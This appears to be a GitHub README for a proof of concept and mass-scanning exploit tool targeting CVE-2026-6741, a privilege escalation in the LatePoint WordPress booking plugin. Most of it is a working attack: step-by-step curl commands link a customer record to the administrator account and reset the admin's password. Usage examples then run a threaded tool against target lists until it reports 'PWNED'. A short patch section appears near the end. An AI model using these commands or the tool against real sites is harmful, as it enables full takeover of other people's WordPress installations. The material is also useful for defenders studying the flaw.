xxconi/CVE-2026-6741
GitHub: xxconi/CVE-2026-6741
针对 WordPress LatePoint 插件已认证权限提升漏洞（CVE-2026-6741）的概念验证与自动化扫描利用工具。
Stars: 0 | Forks: 0
# CVE-2026-6741
CVE-2026-6741 是 LatePoint – Calendar Booking Plugin 中一个 CVSS 8.8（高危）已认证（Agent+）权限提升漏洞。
# CVE-2026-6741 — LatePoint 权限提升扫描器
## 📌 关于漏洞
拥有 `latepoint_agent` 角色的已认证攻击者，
可以将任何 LatePoint customer 记录绑定到 WordPress 管理员账户，
然后使用 LatePoint 自身的密码重置流程
来修改管理员的密码。
这将导致**整个站点被接管**。
## 🔍 漏洞概述
| 字段 | 值 |
|---|---|
| **插件名称** | LatePoint – Calendar Booking Plugin |
| **插件 Slug** | `latepoint` |
| **CVE ID** | CVE-2026-6741 |
| **CVSS 评分** | 8.8 (High) |
| **漏洞类型** | Authenticated (Agent+) Privilege Escalation |
| **受影响版本** | <= 5.4.1 |
| **已修复版本** | 5.4.2 |
| **前提条件** | `latepoint_agent` 角色，WordPress 6.9+ |
## ⚙️ 技术分析
### WordPress Abilities API
LatePoint 5.3.0 引入了对 WordPress 6.9+ 提供的 **Abilities API** 的
支持。此 API 允许插件注册可以通过 REST API 调用的“ability”
类：
```
// latepoint.php (5.4.1, line 907)
if ( function_exists( 'wp_register_ability' ) ) {
include_once LATEPOINT_ABSPATH . 'lib/abilities/class-latepoint-abilities.php';
}
```
### 漏洞代码路径
#### 1 — 能力定义（缺少角色检查）
```
// lib/abilities/customers/connect-customer-to-wp-user.php — line 12
protected function configure(): void {
$this->id = 'latepoint/connect-customer-to-wp-user';
$this->label = __( 'Connect customer to WP user', 'latepoint' );
$this->permission = 'customer__edit'; // ← tek kontrol: bu capability
}
```
Agent 角色默认拥有 `customer__edit` 能力：
```
// lib/helpers/roles_helper.php — line 401
public static function get_default_capabilities_list_for_agent_role() {
$capabilities = [
...
'customer__edit', // ← agent bu yetkiye sahip
...
];
}
```
#### 2 — execute() — 无角色检查
```
// connect-customer-to-wp-user.php — lines 39–60
public function execute( array $args ) {
$customer = new OsCustomerModel( (int) $args['customer_id'] );
$wp_user_id = (int) $args['wp_user_id'];
if ( ! get_userdata( $wp_user_id ) ) {
// Sadece kullanıcının var olup olmadığı kontrol ediliyor
// EKSIK: Hedef kullanıcının rolü kontrol edilmiyor
return new WP_Error( 'wp_user_not_found', ... );
}
$customer->wordpress_user_id = $wp_user_id; // ← herhangi WP user'a bağla
$customer->save();
return $this->serialize_customer( ... );
}
```
#### 3 — 密码重置链
```
// lib/models/customer_model.php — line 315
public function update_password( $password ) {
if ( OsAuthHelper::can_wp_users_login_as_customers()
&& $this->wordpress_user_id ) {
wp_set_password( $password, $this->wordpress_user_id );
// ↑ wordpress_user_id artık admin ID'si → admin şifresi değişir
}
}
```
### 为什么现有的检查不够充分？
```
// LatePointAbstractAbility — check_permission()
public function check_permission(): bool {
return OsRolesHelper::can_user( $this->permission );
// Sadece ÇAĞIRANIN yetkisini kontrol eder
// HEDEF kullanıcının rolünü kontrol etmez
}
```
## 🔴 攻击链
```
latepoint_agent hesabı
│
▼
1. Agent olarak WP'ye giriş yap → REST nonce al
│
▼
2. Hedef admin WordPress user ID'sini tespit et
(wp-json/wp/v2/users veya ID=1)
│
▼
3. POST /wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user
{ "customer_id": 5, "wp_user_id": 1 }
→ Rol kontrolü yok → Başarılı
│
▼
4. LatePoint forgot_password → customer emailine reset token gönder
│
▼
5. Token ile change_password → update_password() çağrılır
→ wp_set_password("Hacked!", 1)
→ Admin şifresi değişti
│
▼
6. Yeni şifreyle admin olarak giriş → Tam site kontrolü ✓
```
## 🧪 概念验证（手动）
**前置条件：**
- WordPress 6.9+（需要 Abilities API）
- 已安装并激活 LatePoint <= 5.4.1
- 拥有 `latepoint_agent` 角色的账户
- 受控的 LatePoint customer 记录
### 步骤 1 — Agent 登录 + REST Nonce
```
WP_URL="https://target.example.com"
AGENT_USER="agent_user"
AGENT_PASS="agent_password"
# 基于 Cookie 的登录
curl -c cookies.txt -b cookies.txt -s -X POST "$WP_URL/wp-login.php" \
-d "log=$AGENT_USER&pwd=$AGENT_PASS&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
-H "Cookie: wordpress_test_cookie=WP+Cookie+check"
# 获取 REST nonce
NONCE=$(curl -s -b cookies.txt \
"$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce")
echo "Nonce: $NONCE"
```
### 步骤 2 — 识别 Admin User ID
```
# 使用 REST API 列出 admin 用户
curl -s "$WP_URL/wp-json/wp/v2/users?roles=administrator" \
-H "X-WP-Nonce: $NONCE" | python3 -m json.tool
ADMIN_WP_USER_ID=1 # Genellikle ID=1
```
### 步骤 3 — Customer → Admin 绑定（漏洞）
```
CUSTOMER_ID=5 # Kontrol ettiğin LatePoint customer ID
curl -s -b cookies.txt -X POST \
"$WP_URL/wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user" \
-H "Content-Type: application/json" \
-H "X-WP-Nonce: $NONCE" \
-d "{\"customer_id\": $CUSTOMER_ID, \"wp_user_id\": $ADMIN_WP_USER_ID}"
```
预期响应：
```
{
"id": 5,
"wp_user_id": 1,
"email": "attacker@example.com"
}
```
### 步骤 4 — 发起密码重置
```
CUSTOMER_EMAIL="attacker@example.com"
curl -s -X POST \
"$WP_URL/?latepoint_route=customer_cabinet%2Fforgot_password" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "password_reset_email=$CUSTOMER_EMAIL"
```
LatePoint 将向 `$CUSTOMER_EMAIL` 地址发送包含 `account_nonce` token 的
重置邮件。
### 步骤 5 — 修改密码
```
RESET_TOKEN=""
NEW_PASSWORD="Attacker_Password123!"
curl -s -X POST \
"$WP_URL/?latepoint_route=customer_cabinet%2Fchange_password" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "password_reset_token=$RESET_TOKEN&password=$NEW_PASSWORD&password_confirmation=$NEW_PASSWORD"
```
此调用会触发 `update_password()` → `wp_set_password($NEW_PASSWORD, 1)` 链。
**管理员密码已修改。**
### 步骤 6 — 以 Admin 身份登录
```
curl -c admin_cookies.txt -b admin_cookies.txt -s -X POST \
"$WP_URL/wp-login.php" \
-d "log=admin&pwd=$NEW_PASSWORD&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
-H "Cookie: wordpress_test_cookie=WP+Cookie+check"
```
### 验证
```
# wp-admin 访问
curl -b admin_cookies.txt "$WP_URL/wp-admin/user-new.php"
# 预期：200 OK（非重定向到 wp-login.php）
# 使用 REST API 验证角色
ADMIN_NONCE=$(curl -s -b admin_cookies.txt \
"$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce")
curl -s "$WP_URL/wp-json/wp/v2/users/me" \
-H "X-WP-Nonce: $ADMIN_NONCE" | python3 -m json.tool
# 预期："roles": ["administrator"]
```
## 🛠️ 自动化扫描器
### 安装
```
git clone https://github.com/kullanici/cve-2026-6741-scanner
cd cve-2026-6741-scanner
pip install -r requirements.txt
```
**requirements.txt**
```
requests
```
## 🚀 用法
### 单一目标 — 全自动
```
python latepoint_privesc.py -u http://hedef.com \
--agent-user agent1 --agent-pass Pass123!
```
### 手动指定 Admin ID 和 Customer ID
```
python latepoint_privesc.py -u http://hedef.com \
--agent-user agent1 --agent-pass Pass123! \
--admin-id 1 \
--customer-id 5 \
--customer-email attacker@evil.com
```
### 第二阶段 — 使用 Reset Token 修改密码
```
python latepoint_privesc.py -u http://hedef.com \
--agent-user agent1 --agent-pass Pass123! \
--admin-id 1 \
--customer-id 5 \
--customer-email attacker@evil.com \
--reset-token abc123xyz \
--new-password Hacked_2026!
```
### 批量扫描
```
python latepoint_privesc.py -l targets.txt -t 10 \
--agent-user agent1 --agent-pass Pass123! \
-o sonuclar.txt
```
### 使用代理（Burp Suite）
```
python latepoint_privesc.py -u http://hedef.com \
--agent-user agent1 --agent-pass Pass123! \
--proxy http://127.0.0.1:8080
```
## ⚙️ 参数
### 通用
| 参数 | 简写 | 描述 | 默认值 |
|---|---|---|---|
| `--url` | `-u` | 单一目标 URL | — |
| `--list` | `-l` | 目标列表文件 | — |
| `--threads` | `-t` | Thread 数量 | `5` |
| `--output` | `-o` | 输出文件 | `privesc_results.txt` |
| `--proxy` | — | 代理 URL | — |
| `--timeout` | — | 请求超时时间（秒） | `10` |
| `--force` | — | 即使 Abilities API 检测失败也继续执行 | `False` |
### Agent 凭据
| 参数 | 描述 |
|---|---|
| `--agent-user` | Agent 用户名 *(必填)* |
| `--agent-pass` | Agent 密码 *(必填)* |
### 目标参数
| 参数 | 描述 | 默认值 |
|---|---|---|
| `--admin-id` | 目标 admin WP user ID | 自动检测 |
| `--customer-id` | 受控的 LatePoint customer ID | 自动检测 |
| `--customer-email` | LatePoint customer 电子邮件地址 | agent 电子邮件 |
### 密码重置（第二阶段）
| 参数 | 描述 | 默认值 |
|---|---|---|
| `--reset-token` | 从电子邮件获取的 reset token | — |
| `--new-password` | 新的管理员密码 | `Pwned_CVE2026_6741!` |
## 📊 扫描器输出状态
| 状态 | 描述 |
|---|---|
| `★ PWNED` | 管理员密码已修改，已登录 |
| `~ RESET_SENT` | 重置邮件已发送 — 等待 token |
| `~ PWD_CHANGE` | 密码已修改 — 手动验证管理员登录 |
| `- LINK_FAIL` | Customer-Admin 绑定失败 |
| `- LOGIN_FAIL` | Agent 登录失败 |
| `- NO_PLUGIN` | 未安装 LatePoint |
| `- NO_ABILITY` | Abilities API 已关闭（需要 WP 6.9+） |
| `~ NO_CUST` | 未找到 Customer ID — 请手动指定 |
| `~ UNREACH` | 无法访问目标 |
## 🖥️ 扫描器输出示例
```
[*] Hedef : http://hedef.com
[*] Agent : agent1
[*] Admin ID : otomatik tespit
[*] Customer ID : otomatik tespit
[*] Reset Token : email bekleniyor
[*] Yeni Şifre : Pwned_CVE2026_6741!
[→] http://hedef.com Adım 1/6: Agent girişi...
[→] http://hedef.com Adım 2/6: Admin user ID tespiti...
[→] http://hedef.com Adım 3/6: Customer ID tespiti...
[→] http://hedef.com Adım 4/6: Customer #5 → Admin #1 bağlanıyor...
[→] http://hedef.com Adım 5/6: Şifre sıfırlama başlatılıyor...
[→] http://hedef.com Adım 6/6: Şifre değiştiriliyor (manuel token)...
════════════════════════════════════════════════════════════
[★ PWNED ] http://hedef.com
Sürüm : 5.4.1
Admin ID : 1
Customer : #5
Kullanıcı : admin roles=['administrator']
════════════════════════════════════════════════════════════
[+] Kaydedildi → privesc_results.txt
```
## 🔄 两阶段使用流程
```
┌─────────────────────────────────────────────────────────┐
│ AŞAMA 1 — Bağla + Reset Emaili Gönder │
│ │
│ python latepoint_privesc.py -u http://hedef.com \ │
│ --agent-user agent1 --agent-pass Pass123! \ │
│ --customer-id 5 --customer-email attacker@evil.com │
│ │
│ → Çıktı: "Reset emaili gönderildi — token bekleniyor" │
└─────────────────────────┬───────────────────────────────┘
│
Email'den token al
│
┌─────────────────────────▼───────────────────────────────┐
│ AŞAMA 2 — Token ile Şifreyi Değiştir │
│ │
│ python latepoint_privesc.py -u http://hedef.com \ │
│ --agent-user agent1 --agent-pass Pass123! \ │
│ --customer-id 5 --customer-email attacker@evil.com \ │
│ --reset-token abc123xyz \ │
│ --new-password Hacked_2026! │
│ │
│ → Çıktı: ★ PWNED — roles=['administrator'] │
└─────────────────────────────────────────────────────────┘
```
## 🛡️ 防御 / 补丁
| 措施 | 实施 |
|---|---|
| **插件更新** | 升级至 LatePoint 5.4.2+ 版本 |
| **添加角色检查** | 在 `execute()` 中验证目标用户的角色 |
| **限制 Abilities API** | 从 Agent 角色中移除 `connect-customer-to-wp-user` 能力 |
| **密码重置保护** | 为管理员账户禁用 LatePoint 重置流程 |
| **WP 6.9 Abilities 审计** | 定期审查注册的 ability |
安全的 `execute()` 示例：
```
// Güvensiz (mevcut — 5.4.1)
if ( ! get_userdata( $wp_user_id ) ) {
return new WP_Error( 'wp_user_not_found', ... );
}
// Güvenli (önerilen — 5.4.2+)
$target_user = get_userdata( $wp_user_id );
if ( ! $target_user ) {
return new WP_Error( 'wp_user_not_found', ... );
}
// Hedef kullanıcının rolünü kontrol et
if ( in_array( 'administrator', (array) $target_user->roles ) ) {
return new WP_Error( 'forbidden', 'Cannot link customer to administrator.' );
}
```
## 📁 文件结构
```
cve-2026-6741-scanner/
├── latepoint_privesc.py # Ana tarayıcı
├── requirements.txt # Bağımlılıklar
└── README.md # Bu dosya
```
## ⚠️ 免责声明
## 📄 许可证
MIT License — 仅供教育和研究目的使用。
## 🔗 参考
- [Wordfence 公告](https://www.wordfence.com/threat-intel/vulnerabilities/)
- [WordPress Abilities API — WP 6.9](https://developer.wordpress.org/news/2025/abilities-api/)
- [LatePoint 插件目录](https://wordpress.org/plugins/latepoint/)
- [CVSS 3.1 计算器](https://www.first.org/cvss/calculator/3.1)
- [CWE-269：不当的权限管理](https://cwe.mitre.org/data/definitions/269.html)
标签：Web安全, Web报告查看器, WordPress插件, 加密, 协议分析, 字符串匹配, 文件完整性监控, 权限提升, 漏洞扫描器, 蓝队分析, 逆向工具